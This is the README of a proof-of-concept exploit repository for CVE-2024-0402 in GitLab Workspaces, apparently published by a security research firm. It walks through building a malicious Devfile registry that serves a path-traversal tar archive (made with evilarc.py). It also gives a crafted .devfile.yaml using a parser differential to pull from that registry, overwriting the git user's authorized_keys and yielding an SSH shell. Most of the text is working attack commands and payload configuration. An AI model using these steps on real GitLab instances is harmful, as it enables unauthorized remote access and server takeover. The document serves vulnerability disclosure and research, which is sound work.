doyensec/malicious-devfile-registryCVE-2024-0402 exploit for GitLab Workspaces using a malicious Devfile Registry with path-traversal archive to overwrite authorized_keys and gain SSH access.
The project contains a malicious Devfile Registry usable to exploit CVE-2024-0402 in Gitlab.
A nodejs:2.2.1 stack is indexed to expose the archive.tar file exploiting the path-traversal issue in registry-support library before v1.1.0.
tar location: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar
It was created using the evilarc.py to overwrite the /var/opt/gitlab/.ssh/authorized_keys in the target Gitlab Server with the SSH keys under ssh-keys/ folder in this repo.
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix
Once running, the registry will have the malicious .tar added to the fetchable stacks.
See the index.json listing it among the stack resources:
...
"links": {
"self": "devfile-catalog/nodejs:2.2.1"
},
...
"resources": [
"devfile.yaml",
"archive.tar"
],
...
Configure a Gitlab Instance EE with version <=16.8.0. Enable Workspaces on it following the docs and the extra notes in our dedicated !exploitable series blogpost.
Whenever ready, follow the steps below:
Run docker build -t devfile-index . in the root of this repo to build the registry container image
Run docker run -d -p 5000:5000 --name local-registrypoc registry:2 to run a local container registry that will be used by the Devfile registry to store the stack. Note: you should edit the command to expose it according to your need. For us, it was all happening in a local environment
Run docker run --network host devfile-index to start the malicious Devfile registry built at step one. Note: Like before, edit the run command as you wish to make it reachable by the Gitlab instance
Authenticate as developer to the target Gitlab server, then edit the .devfile.yaml of a repository you control. The YAML must exploit the parser differential to allow fetching from the malicious registry
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
- name: development-environment
attributes:
gl/inject-editor: true
container:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
To trigger the file-write in the Gitlab UI, just start a new Workspace in the edited repo.
After few seconds, the arbitrary file write should happen and the ssh-keys/pockey.pub will be added to the authorized_keys of the git user
You should be able to enjoy an unrestricted shell as git with
ssh -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>